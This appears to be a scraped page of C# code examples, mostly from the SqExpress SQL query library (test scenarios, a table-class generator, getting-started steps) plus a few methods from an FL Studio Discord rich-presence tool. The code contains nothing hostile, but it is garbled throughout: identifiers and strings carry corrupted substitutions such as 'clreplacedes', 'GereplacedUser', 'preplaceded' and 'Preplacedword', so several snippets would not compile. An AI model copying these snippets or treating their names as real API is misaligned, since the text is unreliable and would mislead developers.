FilterPlainItem.Create(filterIds[1], i, id, index, b, s, value));
await InsertDataInto(tableFavoriteFilterItem, filter1Items.Concat(filter2Items))
.MapData(s => s
.Set(s.Target.FavoriteFilterId, s.Source.FavoriteFilterId)
.Set(s.Target.Id, s.Source.Id)
.Set(s.Target.ParentId, s.Source.ParentId)
.Set(s.Target.IsTypeTag, s.Source.IsTypeTag)
.Set(s.Target.ArrayIndex, s.Source.ArrayIndex)
.Set(s.Target.Tag, s.Source.Tag)
.Set(s.Target.Value, s.Source.Value)
)
.Exec(database);
//Restoring
var restoredFilterItems = await Select(tableFavoriteFilterItem.Columns)
.From(tableFavoriteFilterItem)
.Where(tableFavoriteFilterItem.FavoriteFilterId.In(filterIds))
.QueryList(
database,
r => new FilterPlainItem(
favoriteFilterId: tableFavoriteFilterItem.FavoriteFilterId.Read(r),
id: tableFavoriteFilterItem.Id.Read(r),
parentId: tableFavoriteFilterItem.ParentId.Read(r),
isTypeTag: tableFavoriteFilterItem.IsTypeTag.Read(r),
arrayIndex: tableFavoriteFilterItem.ArrayIndex.Read(r),
tag: tableFavoriteFilterItem.Tag.Read(r),
value: tableFavoriteFilterItem.Value.Read(r)));
var restoredFilter1 = (ExprBoolean)ExprDeserializer
.DeserializeFormPlainList(restoredFilterItems.Where(fi =>
fi.FavoriteFilterId == filterIds[0]));
var restoredFilter2 = (ExprBoolean)ExprDeserializer
.DeserializeFormPlainList(restoredFilterItems.Where(fi =>
fi.FavoriteFilterId == filterIds[1]));
Console.WriteLine("Filter 1");
await Select(tableUser.FirstName, tableUser.LastName)
.From(tableUser)
.Where(restoredFilter1)
.Query(database,
(object)null,
(s, r) =>
{
Console.WriteLine($"{tableUser.FirstName.Read(r)} {tableUser.LastName.Read(r)}");
return s;
});
Console.WriteLine("Filter 2");
await Select(tableUser.FirstName, tableUser.LastName)
.From(tableUser)
.Where(restoredFilter2)
.Query(database,
(object)null,
(s, r) =>
{
Console.WriteLine($"{tableUser.FirstName.Read(r)} {tableUser.LastName.Read(r)}");
return s;
});
}
19
Source : ScAllColumnTypes.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public async Task Exec(IScenarioContext context)
{
bool isPostgres = context.Dialect == SqlDialect.PgSql;
var table = new TableItAllColumnTypes(isPostgres);
await context.Database.Statement(table.Script.DropAndCreate());
var testData = GetTestData(isPostgres);
await InsertDataInto(table, testData)
.MapData(Mapping)
.Exec(context.Database);
var mapper = new Mapper(new MapperConfiguration(cfg =>
{
cfg.AddDataReaderMapping();
var map = cfg.CreateMap<IDataRecord, AllColumnTypesDto>();
map
.ForMember(nameof(table.ColByteArraySmall), c => c.Ignore())
.ForMember(nameof(table.ColByteArrayBig), c => c.Ignore())
.ForMember(nameof(table.ColNullableByteArraySmall), c => c.Ignore())
.ForMember(nameof(table.ColNullableByteArrayBig), c => c.Ignore())
.ForMember(nameof(table.ColNullableFixedSizeByteArray), c => c.Ignore())
.ForMember(nameof(table.ColFixedSizeByteArray), c => c.Ignore());
if (isPostgres)
{
map
.ForMember(nameof(table.ColByte), c => c.Ignore())
.ForMember(nameof(table.ColNullableByte), c => c.Ignore());
}
if (context.Dialect == SqlDialect.MySql)
{
map
.ForMember(nameof(table.ColBoolean), c => c.MapFrom((r, dto) => r.GetBoolean(r.GetOrdinal(nameof(table.ColBoolean)))))
.ForMember(nameof(table.ColNullableBoolean), c => c.MapFrom((r, dto) => r.IsDBNull(r.GetOrdinal(nameof(table.ColNullableBoolean))) ? (bool?)null : r.GetBoolean(r.GetOrdinal(nameof(table.ColNullableBoolean)))))
.ForMember(nameof(table.ColGuid), c => c.MapFrom((r, dto) => r.GetGuid(r.GetOrdinal(nameof(table.ColGuid)))))
.ForMember(nameof(table.ColNullableGuid), c=>c.MapFrom((r, dto) => r.IsDBNull(r.GetOrdinal(nameof(table.ColNullableGuid)))? (Guid?)null : r.GetGuid(r.GetOrdinal(nameof(table.ColNullableGuid)))));
}
}));
var expr = Select(table.Columns)
.From(table).Done();
context.WriteLine(PgSqlExporter.Default.ToSql(expr));
var result = await expr
.QueryList(context.Database, r =>
{
var allColumnTypesDto = mapper.Map<IDataRecord, AllColumnTypesDto>(r);
allColumnTypesDto.ColByteArrayBig = StreamToByteArray(table.ColByteArrayBig.GetStream(r));
allColumnTypesDto.ColByteArraySmall = table.ColByteArraySmall.Read(r);
allColumnTypesDto.ColNullableByteArrayBig = table.ColNullableByteArrayBig.Read(r);
allColumnTypesDto.ColNullableByteArraySmall = table.ColNullableByteArraySmall.Read(r);
allColumnTypesDto.ColFixedSizeByteArray = table.ColFixedSizeByteArray.Read(r);
allColumnTypesDto.ColNullableFixedSizeByteArray = table.ColNullableFixedSizeByteArray.Read(r);
return allColumnTypesDto;
});
static byte[] StreamToByteArray(Stream stream)
{
var buffer = new byte[stream.Length];
using MemoryStream ms = new MemoryStream(buffer);
stream.CopyTo(ms);
var result = buffer;
stream.Dispose();
return result;
}
for (int i = 0; i < testData.Length; i++)
{
if (!Equals(testData[i], result[i]))
{
var props = typeof(AllColumnTypesDto).GetProperties();
foreach (var propertyInfo in props)
{
context.WriteLine($"{propertyInfo.Name}: {propertyInfo.GetValue(testData[i])} - {propertyInfo.GetValue(result[i])}");
}
throw new Exception("Input and output are not identical!");
}
}
if (context.Dialect == SqlDialect.TSql)
{
var data = await Select(AllTypes.GetColumns(table))
.From(table)
.QueryList(context.Database, (r) => AllTypes.Read(r, table));
if (data.Count != 2)
{
throw new Exception("Incorrect reading using models");
}
await InsertDataInto(table, data).MapData(AllTypes.GetMapping).Exec(context.Database);
}
Console.WriteLine("'All Column Type Test' is preplaceded");
}
19
Source : ScUpdateUsers.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public async Task Exec(IScenarioContext context)
{
var tUser = AllTables.GereplacedUser();
var tCustomer = AllTables.GereplacedCustomer();
var maxVersion = (int) await Select(Max(tUser.Version))
.From(tUser)
.QueryScalar(context.Database);
var countBefore = (long)await Select(Cast(CountOne(), SqlType.Int64))
.From(tUser)
.Where(tUser.Version == maxVersion & Exists(SelectOne().From(tCustomer).Where(tCustomer.UserId == tUser.UserId)))
.QueryScalar(context.Database);
await Update(tUser)
.Set(tUser.Version, tUser.Version + 1)
.From(tUser)
.InnerJoin(tCustomer, on: tCustomer.UserId == tUser.UserId)
.All()
.Exec(context.Database);
var countAfter = (long)await Select(Cast(CountOne(), SqlType.Int64))
.From(tUser)
.Where(tUser.Version == maxVersion + 1)
.QueryScalar(context.Database);
if (countBefore != countAfter)
{
throw new Exception($"Something went wrong: count before {countBefore}, count after {countAfter}");
}
Console.WriteLine();
Console.WriteLine($"{countAfter} items were updated.");
Console.WriteLine();
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public static async Task RunGenTablesOptions(GenTablesOptions options)
{
ILogger logger = new DefaultLogger(Console.Out, options.Verbosity);
logger.LogMinimal("Table proxy clreplacedes generation is running...");
string directory = EnsureDirectory(options.OutputDir, logger, "Output", true);
if (string.IsNullOrEmpty(options.ConnectionString))
{
throw new SqExpressCodeGenException("Connection string cannot be empty");
}
logger.LogNormal("Checking existing code...");
IReadOnlyDictionary<TableRef, ClreplacedDeclarationSyntax> existingCode = ExistingCodeExplorer.FindTableDescriptors(directory, DefaultFileSystem.Instance);
if(logger.IsNormalOrHigher) logger.LogNormal(existingCode.Count > 0
? $"Found {existingCode.Count} already existing table descriptor clreplacedes."
: "No table descriptor clreplacedes found.");
var sqlManager = CreateDbManager(options);
logger.LogNormal("Connecting to database...");
var connectionTest = await sqlManager.TryOpenConnection();
if (!string.IsNullOrEmpty(connectionTest))
{
throw new SqExpressCodeGenException(connectionTest);
}
logger.LogNormal("Success!");
var tables = await sqlManager.SelectTables();
if(logger.IsNormalOrHigher)
{
logger.LogNormal(tables.Count > 0
? $"Found {tables.Count} tables."
: "No tables found in the database.");
if (logger.IsDetailed)
{
foreach (var tableModel in tables)
{
Console.WriteLine($"{tableModel.DbName} ({tableModel.Name})");
foreach (var tableModelColumn in tableModel.Columns)
{
Console.WriteLine($"- {tableModelColumn.DbName.Name} {tableModelColumn.ColumnType.GetType().Name}{(tableModelColumn.Pk.HasValue ? " (PK)":null)}{(tableModelColumn.Fk != null ? $" (FK: {string.Join(';', tableModelColumn.Fk.Select(f=>f.ToString()))})" : null)}");
}
}
}
}
logger.LogNormal("Code generation...");
IReadOnlyDictionary<TableRef, TableModel> tableMap = tables.ToDictionary(t => t.DbName);
var tableClreplacedGenerator = new TableClreplacedGenerator(tableMap, options.Namespace, existingCode);
foreach (var table in tables)
{
string filePath = Path.Combine(directory, $"{table.Name}.cs");
if(logger.IsDetailed) logger.LogDetailed($"{table.DbName} to \"{filePath}\".");
var text = tableClreplacedGenerator.Generate(table, out var existing).ToFullString();
await File.WriteAllTextAsync(filePath, text);
if (logger.IsDetailed) logger.LogDetailed(existing ? "Existing file updated." : "New file created.");
}
var allTablePath = Path.Combine(directory, "AllTables.cs");
if (logger.IsDetailed) logger.LogDetailed($"AllTables to \"{allTablePath}\".");
await File.WriteAllTextAsync(allTablePath, TableListClreplacedGenerator.Generate(allTablePath, tables, options.Namespace, options.TableClreplacedPrefix, DefaultFileSystem.Instance).ToFullString());
logger.LogMinimal("Table proxy clreplacedes generation successfully completed!");
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
static async Task Main()
{
Console.WriteLine("SqExpress - get started");
try
{
await RunMsSql("Data Source = (local); Initial Catalog = TestDatabase; Integrated Security = True");
await RunPostgreSql("Host=localhost;Port=5432;Username=postgres;Preplacedword=test;Database=test");
await RunMySql("server=127.0.0.1;uid=test;pwd=test;database=test");
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task RunMsSql(string connectionString)
{
Console.WriteLine("Running on MsSQL database...");
int commandCounter = 0;
DbCommand SqlCommandFactory(SqlConnection connection, string sqlText)
{
Console.WriteLine($"Command #{++commandCounter}");
Console.WriteLine(sqlText);
Console.WriteLine();
return new SqlCommand(sqlText, connection);
}
using (var connection = new SqlConnection(connectionString))
{
if (!await CheckConnection(connection, "MsSQL"))
{
return;
}
await connection.OpenAsync();
using (var database = new SqDatabase<SqlConnection>(
connection: connection,
commandFactory: SqlCommandFactory,
sqlExporter: TSqlExporter.Default))
{
await Script(database, isMsSql: true);
}
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task<bool> CheckConnection(DbConnection connection, string dbName)
{
try
{
await connection.OpenAsync();
await connection.CloseAsync();
return true;
}
catch (Exception e)
{
Console.WriteLine(
$"Could not open {dbName} database ({e.Message}). Check that the connection string is correct \"{connection.ConnectionString}\".");
return false;
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step6CreatingOrganizations(ISqDatabase database)
{
var tCompany = new TableCompany();
Console.WriteLine("Companies:");
await InsertDataInto(tCompany, new[] { "Microsoft", "Google" })
.MapData(s => s.Set(s.Target.CompanyName, s.Source))
.AlsoInsert(s => s
.Set(s.Target.Version, 1)
.Set(s.Target.ModifiedAt, GetUtcDate()))
.Output(tCompany.CompanyId, tCompany.CompanyName)
.Query(database,
r => Console.WriteLine($"Id: {tCompany.CompanyId.Read(r)}, Name: {tCompany.CompanyName.Read(r)}"));
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step8JoinTables(ISqDatabase database)
{
var tUser = new TableUser();
var tCompany = new TableCompany();
var tCustomer = new TableCustomer();
var cType = CustomColumnFactory.Int16("Type");
var cName = CustomColumnFactory.String("Name");
var customers = await Select(
tCustomer.CustomerId,
Case()
.When(IsNotNull(tUser.UserId))
.Then(Cast(1, SqlType.Int16))
.When(IsNotNull(tCompany.CompanyId))
.Then(Cast(2, SqlType.Int16))
.Else(Null)
.As(cType),
Case()
.When(IsNotNull(tUser.UserId))
.Then(tUser.FirstName + " " + tUser.LastName)
.When(IsNotNull(tCompany.CompanyId))
.Then(tCompany.CompanyName)
.Else(Null)
.As(cName)
)
.From(tCustomer)
.LeftJoin(tUser, on: tUser.UserId == tCustomer.UserId)
.LeftJoin(tCompany, on: tCompany.CompanyId == tCustomer.CompanyId)
.QueryList(database,
r => (Id: tCustomer.CustomerId.Read(r), CustomerType: cType.Read(r), Name: cName.Read(r)));
foreach (var customer in customers)
{
Console.WriteLine($"Id: {customer.Id}, Name: {customer.Name}, Type: {customer.CustomerType}");
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step9SetOperations(ISqDatabase database)
{
var select1 = Select(1);
var select2 = Select(2);
var result = await select1
.Union(select2)
.UnionAll(select2)
.Except(select2)
.Intersect(select1.Union(select2))
.QueryList(database, r => r.GetInt32(0));
Console.WriteLine("Result Of Set Operators:");
Console.WriteLine(result[0]);
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step10UseDerivedTables(ISqDatabase database)
{
var tCustomer = new DerivedTableCustomer("CUST");
var customers = await Select(CustomerData.GetColumns(tCustomer))
.From(tCustomer)
.Where(tCustomer.Type == 2 | tCustomer.Name.Like("%Free%"))
.OrderBy(Desc(tCustomer.Name))
.OffsetFetch(1, 2)
.QueryList(database, r => CustomerData.Read(r, tCustomer));
foreach (var customer in customers)
{
Console.WriteLine($"Id: {customer.Id}, Name: {customer.Name}, Type: {customer.CustomerType}");
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step11SubQueries(ISqDatabase database)
{
var num = CustomColumnFactory.Int32("3");
//Note: "3" (the first value) is for compatibility with MySql
//which does not properly support values constructors
var sum = CustomColumnFactory.Int32("Sum");
var numbers = Values(3, 1, 1, 7, 3, 7, 3, 7, 7, 8).AsColumns(num);
var numbersSubQuery = TableAlias();
var mostFrequentNum = (int)await
SelectTop(1, numbersSubQuery.Column(num))
.From(
Select(numbers.Column(num), CountOne().As(sum))
.From(numbers)
.GroupBy(numbers.Column(num))
.As(numbersSubQuery)
)
.OrderBy(Desc(numbersSubQuery.Column(sum)))
.QueryScalar(database);
Console.WriteLine("The most frequent number: " + mostFrequentNum);
}
19
Source : ScSelectLogic.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task GetUtcDateFunc(IScenarioContext context)
{
var result = await Select(GetUtcDate())
.Query(context.Database, (DateTime?)null, (agg, next)=> next.GetDateTime(0));
Console.WriteLine($"Utc now: {result}");
}
19
Source : ScSelectSets.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public async Task Exec(IScenarioContext context)
{
var tUser = AllTables.GereplacedUser();
var tCompany = AllTables.GereplacedCompany();
var unionResult = await SelectTop(2, (tUser.FirstName + "-" + tUser.LastName).As("Name")).From(tUser)
.Union(SelectTop(2, tCompany.CompanyName.As("Name")).From(tCompany))
.QueryList(context.Database, r => r.GetString("Name"));
Console.WriteLine("Union");
foreach (var name in unionResult)
{
Console.WriteLine(name);
}
var exceptSet = Values(unionResult
.Where((i, index) => index % 2 == 0)
.Select(i => new ExprValue[] {Literal(i)})
.ToList())
.As("EX", "Name");
var unionExceptResult = await SelectTop(2, (tUser.FirstName + "-" + tUser.LastName).As("Name")).From(tUser)
.Union(SelectTop(2, tCompany.CompanyName.As("Name")).From(tCompany))
.Except(Select(exceptSet.Alias.AllColumns()).From(exceptSet))
.QueryList(context.Database, r => r.GetString("Name"));
Console.WriteLine();
Console.WriteLine("Union Except");
foreach (var name in unionExceptResult)
{
Console.WriteLine(name);
}
for (int i = 0; i < unionResult.Count; i++)
{
if (i % 2 != 0)
{
if (unionResult[i] != unionExceptResult[i / 2])
{
throw new Exception(unionResult[i] + " != " + unionExceptResult[i / 2]);
}
}
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task ExecScenarioAll(IScenario scenario, string msSqlConnectionString, string pgSqlConnectionString, string mySqlConnectionString)
{
Stopwatch stopwatch = new Stopwatch();
Console.WriteLine();
Console.WriteLine("-MS SQL Test-------");
stopwatch.Restart();
await ExecMsSql(scenario, msSqlConnectionString);
stopwatch.Stop();
Console.WriteLine($"-MS SQL Test End: {stopwatch.ElapsedMilliseconds} ms");
Console.WriteLine("-Postgres Test-----");
stopwatch.Start();
await ExecNpgSql(scenario, pgSqlConnectionString);
stopwatch.Stop();
Console.WriteLine($"-Postgres Test End: {stopwatch.ElapsedMilliseconds} ms");
Console.WriteLine();
Console.WriteLine("-MY SQL Test-------");
stopwatch.Restart();
await ExecMySql(scenario, mySqlConnectionString);
stopwatch.Stop();
Console.WriteLine($"-MY SQL Test End: {stopwatch.ElapsedMilliseconds} ms");
}
19
Source : FLRPC.cs
with GNU General Public License v3.0
from 0x2b00b1e5
with GNU General Public License v3.0
from 0x2b00b1e5
public static void Start()
{
Active = true;
// loop
Csecret = settings.Secret;
while (client != null && Active)
{
// Get info
FLInfo InitInfo = GetFLInfo();
// Try to read any keys if available
if (Console.In.Peek() != -1)
{
switch (Console.ReadKey(true).Key)
{
case ConsoleKey.H:
Console.WriteLine("Commands: \n s: turn on secret mode \n q: Quit \n h: help \n Other settings can be changed in the settings.xml file");
break;
case ConsoleKey.S:
if (Csecret)
{
Csecret = false;
Console.WriteLine("\n Secret Mode turned off!");
rp.State = InitInfo.projectName;
}
else if (!Csecret)
{
Csecret = true;
Console.WriteLine("\n Secret Mode turned on!");
rp.State = settings.SecretMessage;
}
break;
case ConsoleKey.Q:
StopAndExit();
break;
}
}
if (client != null)
client.Invoke();
//Skip update if nothing changes
if (InitInfo.appName == rp.Details && InitInfo.projectName == rp.State && Csecret == Psecret)
continue;
if (InitInfo.projectName == null && rp.State == settings.NoNameMessage && Csecret == Psecret)
continue;
//Fill State and details
if (InitInfo.projectName == null)
{
rp.State = settings.NoNameMessage;
rp.Details = InitInfo.appName;
}
else
{
rp.Details = InitInfo.appName;
rp.State = InitInfo.projectName;
}
if (Csecret)
{
rp.State = settings.SecretMessage;
}
Psecret = Csecret;
client.SetPresence(rp);
Thread.Sleep(settings.RefeshInterval);
}
}
19
Source : FLRPC.cs
with GNU General Public License v3.0
from 0x2b00b1e5
with GNU General Public License v3.0
from 0x2b00b1e5
public static void Stop()
{
client.Dispose();
Console.WriteLine("Services stopped!");
}
19
Source : FLRPC.cs
with GNU General Public License v3.0
from 0x2b00b1e5
with GNU General Public License v3.0
from 0x2b00b1e5
public static void StopAndExit()
{
// Proper disposal of the thread
client.Dispose();
Console.WriteLine("Services stopped, terminating...");
// Properly exit
Environment.Exit(0);
}
See More Examples